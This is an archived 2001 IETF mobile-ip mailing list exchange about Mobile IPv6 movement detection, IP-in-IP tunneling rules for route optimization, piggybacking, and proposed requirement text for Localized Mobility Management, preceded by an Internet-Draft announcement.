Localized Mobility Management, in general introduces Local Mobility
Agent functionality for proxying a Regional care of address that
remains the same while the mobile node moves within a Local Mobility
Domain, which reduces the binding update signaling latency and the
signaling load outside the Local Mobility Domain. By its very nature
LMM also serves as a mechanism to hide the Mobile Node's location 
from observers outside the administration domain (Local Mobility 
Domain).  The identified requirements listed are essential for 
localized mobility management functionality. They are intended to 
be used as a guide for analysis on the observed benefits over the 
identified requirements for architecting and deploying LMM schemes.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-lmm-requirements-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-lmm-requirements-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-lmm-requirements-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011116141907.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-lmm-requirements-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-lmm-requirements-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011116141907.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 17:35:14 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00677
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 17:35:14 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA21002;
	Mon, 19 Nov 2001 15:33:44 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA16282;
	Mon, 19 Nov 2001 14:33:21 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJMWSLS028953
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 14:32:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJMWSec028952
	for mobile-ip-dist; Mon, 19 Nov 2001 14:32:28 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJMWNLS028945
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 14:32:24 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAJMWHq04235;
	Mon, 19 Nov 2001 23:32:18 +0100 (MET)
Date: Mon, 19 Nov 2001 22:53:05 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
To: pekkas@netcore.fi
Cc: mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <Pine.LNX.4.33.0111181742140.15194-100000@netcore.fi>
Message-ID: <Roam.SIMC.2.0.6.1006206785.4509.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> IMO, possible increase in size (the increase could be like ~16 bytes or 
> so) is not crucial.  The other issues regarding tunneling (for example, 
> hop limit handling) are.



> Couldn't the mobile node gather (most of) this information from available
> data already?

It could try to infer it but that relies on heuristics and guesswork.

> 1) If the prefix in new and old location are the same, the movement can 
> be distinguished from router source address; it has to have been DAD'ed, 
> as the two routers have to be on-link and reachable respective to each 
> other.

The problem is that RFC 2461 allows different sets of routers to advertise
different subsets of the prefixes and there can be lots of
prefixes in use on a subnet. Thus the Router Advertisement that is sent
frequently (more frequently than once a second) might not contain any 
prefixes because including them all would use up a lot of bandwidth.

> 2) If the prefix in new and old location is different, you have moved or
> the router has been reconfigured.

Or different routers on the link advertise different prefixes.
Or a renumbering is starting by advertising new prefixes (e.g. using
the router renumbering RFC)

> In case of multiple advertised prefixes this gets more complicated:
>  A) if all prefixes are the same in old and new, see 1)

But can't tell this from receiving a single RA. Need to wait for all the RAs
from all the routers.

>  B) if none of the prefixes are the same in old and new, see 2)
>  C) if some prefixes have changed or removed, the situation is unclear.
>    - if the source address is different, we have moved
>    - if the source address is the same, we probably haven't moved, but it 
> is safer to assume we have.


> A problem with tunneling like this is that every node that would support 
> route optimization would have to accept and (more or less) blindly 
> decapsulate such packets.

Not blindly - see section 5.4.

> If this approach is adopted, it must be carefully analyzed.  It might also 
> be wise to adopt a MIPv6-specific (or rather Route Optimization -specific) 
> format for this. 

I don't see the need to have different formats to capture the purpose
of the tunneling. But the policy at the decapsulating end for what
packets get decapsulated, whether or not the resulting packets can be
forwarded, etc are different depending on what tunneling is used for.

> For example, one could require that the destination address of an incoming 
> tunneled packet must be the home address of the node.  This is easy to 
> check.  Source address is more difficult, unless you can make basically 
> similar assumptions than with the safe use of home address option: there 
> exists a binding cache entry for it, the packet is somehow authenticated 
> etc.
> 
> Certain precautions seem to be discussed under 5.4.

Yes. Those are the proposed rules for mobile-ip use of tunneling.
They are a bit stronger that the rules in your draft I think.

In any case, I suspect we need rules close to these even independent
whether tunneling packet formats are used for mipv6 or whether we use 
routing headers and home address options.


> Am I correct that we're talking about:
> 
> Receiving:
> 
> [ IPv6 Header with nxthdr=IPinIPnoSRC ]
>   [ IPinIPnoSRC, nxthdr = payload ] 
>     [ payload ]
> 
> Which would be expanded to:
> [ IPv6 Header with nxthdr=IPv6 ] 
>   [ IPv6, nxthdr = payload ] *)
>     [ payload ]

Yes, the is the expanded IPinIP headers.
At this point in time you'd conceptually need to check whether the
packet can be accepted and decapsulated.

> And passed on to ip_input or whatever as:
> 
>   [ IPv6, nxthdr = payload ]         
>     [ payload ]
> 
> (this sounds rather complex, but three steps instead of just two seem to 
> be necessary to ensure ipip decapsulation code will not let anything 
> unwanted fall through the cracks -- intermediate nodes such as firewalls 
> can easily obtain the final datagram by just replacing cutting out 
> IPinIPnoSRC and having certain values in the removed header replace the 
> values in the real IPv6 header).

I think an implementation can optimize this and not construct the intermediate
step provided it behaves the same way e.g. does the same checks. 
But in terms of describing it conceptually it makes sense to describe
it as three steps.

> *) here, missing IPv6 values would be collected from somewhere.
> Most important of these is Hop Limit.  I'm assuming it would be taken from 
> the outer IPv6 header.  So this would be IPinIP tunneling where tunnels 
> would be modeled as "equal-hop", not "single-hop".

There is a draft-deering-<something> in the I-D queue that proposes a better
header format (same size) and carries the first 8 bytes of the IPv6
header.

> I didn't analyze rules in 5.4 in detail, but as an overview, they seem to
> be properly extensive.  However, if the similar rules were to be applied
> to RH/HAO, the end result from the end-nodes would be pretty similar.  On
> the other hand, it would be much more easier for the intermediate nodes to
> separate this route optimized traffic, which was one of my gripes in RH-HA
> draft.

Yep. Also, as you pointed out in your draft the RH rules would need special
care. With encapsulation there is no "segments left != 1" case to
worry about etc.

> Generic note:
> 
> It seems that when a MN wants to talk to a CN, it first needs to send BU
> through Home Agent to CN.  No additonal packets can be sent (except via
> HA) until BU has been acknowledged, and then it is safe to try tunneling.
> If HA is on the other side of the globe, this might take a while.

I think that is the safe approach.
It is also somewhat "symmetric" in that until the BU is done the traffic to
the MN will go through the HA.

If there is an application where a CN sends one packet to a MN causing the MN
to immediately start sending a media stream then the delay or reverse
tunnel through the HA might be an issue. But all protocols I've seen
do some initial handshake that takes at least one roundtrip. During that
roundtrip the BU can take place as well.

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 21:46:03 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA10065
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 21:46:02 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA29581;
	Mon, 19 Nov 2001 17:04:06 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA08767;
	Mon, 19 Nov 2001 16:04:12 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK03JLS029160
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 16:03:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAK03Jph029159
	for mobile-ip-dist; Mon, 19 Nov 2001 16:03:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK03FLS029152
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 16:03:15 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA15050
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 16:03:16 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA28689
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 17:02:58 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA28491
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 16:03:15 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAK03FJ30172
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 16:03:15 -0800
X-mProtect:  Mon, 19 Nov 2001 16:03:15 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdN4v8VF; Mon, 19 Nov 2001 16:03:12 PST
Message-ID: <3BF99D9F.EB48AB63@iprg.nokia.com>
Date: Mon, 19 Nov 2001 16:02:39 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] more about piggybacking.
References: <200111191328.IAA26718@ietf.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi,

there was an intense debate a couple weeks ago over the merits of
piggybacking. So we put together a little bit of analysis to bring the
discussion on less intuitive and more mathematical grounds.

The outcome of it is dual:
- The percentage improvement in bandwidth utilization is typically
   small.
- The percentage improvement in jitter during handover is typically
   large - actually, very large.

This basically says that piggybacking will not allow a provider to squeeze
more people on the same link, but that by not having piggybacking, the
user gets a significantly worst QoS.

The details will be available very soon at:
people.nokia.net/~rajeev/piggyback.ps

Cheers,

Cedric.



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 00:18:25 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA13982
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 00:18:22 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA23357;
	Mon, 19 Nov 2001 21:14:48 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA21132;
	Mon, 19 Nov 2001 21:14:16 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK5DOLS029587
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 21:13:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAK5DORV029586
	for mobile-ip-dist; Mon, 19 Nov 2001 21:13:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK5DKLS029579
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 21:13:20 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA28317
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 21:13:22 -0800 (PST)
Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA28189
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 21:13:14 -0800 (PST)
Received: from jariws1 ([62.248.155.237]) by fep01-app.kolumbus.fi
          (InterMail vM.5.01.03.08 201-253-122-118-108-20010628) with SMTP
          id <20011120051305.IRVL2704.fep01-app.kolumbus.fi@jariws1>;
          Tue, 20 Nov 2001 07:13:05 +0200
Message-ID: <019701c17182$0cfbcbc0$8a1b6e0a@arenanet.fi>
From: "Jari Arkko" <jari.arkko@kolumbus.fi>
To: <mobile-ip@sunroof.eng.sun.com>, <pekkas@netcore.fi>,
        "Erik Nordmark" <Erik.Nordmark@eng.sun.com>
References: <Roam.SIMC.2.0.6.1006206785.4509.nordmark@bebop.france>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
Date: Tue, 20 Nov 2001 07:13:11 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

> Or different routers on the link advertise different prefixes.
> Or a renumbering is starting by advertising new prefixes (e.g. using
> the router renumbering RFC)
> 
> > In case of multiple advertised prefixes this gets more complicated:
> >  A) if all prefixes are the same in old and new, see 1)
> 
> But can't tell this from receiving a single RA. Need to wait for all the RAs
> from all the routers.

Eventually if you renumber you *have* moved in the IP sense, even
if you still are on the same physical link.

But I have a question to Erik. What happens if you renumber, don't
you need to change the link identifier as well? If no, how do we ensure
the identifiers stay globally unique? If yes, what do you announce in
an RA while this renumbering is taking place, the new, old, or both
identifiers?

Jari





From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 02:22:22 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA01333
	for <mobileip-archive@lists.ietf.org>; Tue, 20 Nov 2001 02:22:22 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id XAA16136;
	Mon, 19 Nov 2001 23:21:14 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA13688;
	Mon, 19 Nov 2001 23:20:54 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK7JoLS029800
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 23:19:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAK7Joov029799
	for mobile-ip-dist; Mon, 19 Nov 2001 23:19:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK7JkLS029792
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 23:19:46 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA13421;
	Mon, 19 Nov 2001 23:19:47 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA07715;
	Mon, 19 Nov 2001 23:19:45 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAK7JiR32493;
	Tue, 20 Nov 2001 09:19:44 +0200
Date: Tue, 20 Nov 2001 09:19:43 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
cc: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1006206785.4509.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.33.0111200858140.32232-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Mon, 19 Nov 2001, Erik Nordmark wrote:
> > Couldn't the mobile node gather (most of) this information from available
> > data already?
> 
> It could try to infer it but that relies on heuristics and guesswork.

Ok, you have a point here.  However, this whole issue seems rather funny
because MIPv6 re-defined the minimum unsolicited router advertisement
interval to be ridiculously low.  If two routers advertise the same
prefix, I don't see why you should need to know (on IP layer) you might
have moved.  And if the prefix changes, sending the notification to HA
etc. takes relatively long -- in scenarios where it is expected that MN's
move quickly, the advertising interval could be set to something like 0.1
seconds, for example.

> > If this approach is adopted, it must be carefully analyzed.  It might also 
> > be wise to adopt a MIPv6-specific (or rather Route Optimization -specific) 
> > format for this. 
> 
> I don't see the need to have different formats to capture the purpose
> of the tunneling. But the policy at the decapsulating end for what
> packets get decapsulated, whether or not the resulting packets can be
> forwarded, etc are different depending on what tunneling is used for.

Sorry wrong very unclear wording.  I meant that the packets should have to 
be distinguishable from regular IPinIP packets in the network (think 
firewall: "Aha! someone is using route optimization.. well the receiving 
rules are quite secure, I'll let it through, IPinIP I wouldn't").  But 
naturally, they would be due to the header value.

> > For example, one could require that the destination address of an incoming 
> > tunneled packet must be the home address of the node.  This is easy to 
> > check.  Source address is more difficult, unless you can make basically 
> > similar assumptions than with the safe use of home address option: there 
> > exists a binding cache entry for it, the packet is somehow authenticated 
> > etc.
> > 
> > Certain precautions seem to be discussed under 5.4.
> 
> Yes. Those are the proposed rules for mobile-ip use of tunneling.
> They are a bit stronger that the rules in your draft I think.
> 
> In any case, I suspect we need rules close to these even independent
> whether tunneling packet formats are used for mipv6 or whether we use 
> routing headers and home address options.

Yes.  Which is why it would be good to consider at more length what makes
this better (or worse) than the current mechanisms with added security.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 03:38:39 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02133
	for <mobileip-archive@lists.ietf.org>; Tue, 20 Nov 2001 03:38:39 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA24902;
	Tue, 20 Nov 2001 01:37:12 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA09500;
	Tue, 20 Nov 2001 00:36:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK8YALS029995
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 00:34:10 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAK8YAYq029994
	for mobile-ip-dist; Tue, 20 Nov 2001 00:34:10 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK8Y6LS029987
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 00:34:07 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA22108
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 00:34:05 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA11555
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 00:34:05 -0800 (PST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAK8Y4507493;
	Tue, 20 Nov 2001 00:34:04 -0800 (PST)
Message-ID: <0f4a01c1719e$0f63ba50$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>, "Cedric Westphal" <cedric@iprg.nokia.com>,
        <Hesham.Soliman@era.ericsson.se>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Tue, 20 Nov 2001 00:33:41 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I am working on the revision of the LMM requirements draft for Wednesday
final submission.  I have made changes based on the input over the last 10
days.

Here are three proposed changes that I want some review before I add them
to the final draft.  These three seem to get the most attention.

I removed the last paragraph for 3.8 Sparse routing requirement.  The
proposed final text for this requirement is:

3.8 Sparse routing element population requirement

   Any LMM protocol MUST be designed to be geared towards
   incremental deployment capabilities; the latter implies
   that the LMM scheme itself imposes minimum requirements
   on the carriers network.  Incremental deployment capabilities
   for an LMM protocol signifies that an initial set of sparse
   LMM agents can populate the administration domain of a network
   provider and operate sufficiently.  In addition, any LMM
   scheme MUST be compatible with any additional deployment
   of LMM agents in future infrastructural expansions; that is to
   say, allow progressive LMM deployment capabilities.

   It is for this reason that the LMM framework MUST NOT require
   that all routing elements be assumed to be LMM-aware in the
   signaling interactions of an LMM protocol. The LMM framework
   MUST BE supported, at the very minimum, by a sparse (proper
   subset) LMM agent population that is co-located within the
   routing topology of a single administration domain.

Requirement 3.9 (regarding interworking of LMM and MIPv6 handover)
has been modified as:

3.9 Support of Fast handoffs in LMMs

   Mobility extensions have been proposed to quickly enable IP
   connectivity of the MN at a new point of attachment; See [7]
   for one example.

   These enhancements are intended to minimize handoff latency
   and reduce packet loss.  LMM and any standardized Mobile IPv6
   handover algorithm  MUST BE able to be deployed independently
   of each other.  However, when the two classes of protocols
   co-exist, LMM and any Mobile IPv6 handover scheme MUST maintain
   compatibility in their signaling interactions for fulfilling
   complementary roles with respect to each other.

   This requirement SHOULD NOT be interpreted as ruling out
   useful optimizations of LMM and Mobile IPv6 handoff schemes
   that simplify the implementation or deployment of LMM or Mobile
   IPv6 handoff.


I will rework the 3.2.6 (strong auth) requirement to address Hesham's
concern.
Once this new text has been worked out I will send to alias for review.

3.2.6 Any LMM scheme MUST make use of a strong authentication mechanism
      to avoid a malicious MN from diverting traffic destined to a
      legitimate MN.  LMM SHOULD also ensure that the network be able
      to maintain topological confidentiality from visiting mobile
      nodes.  That is to say that the LMM scheme in use SHOULD NOT
      reveal the visited network's topology to the Mobile Node.

Cedric, thanks for your comments.  I think I have addressed them in my
revision.

Carl




From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 04:39:30 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA02751
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 04:39:29 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
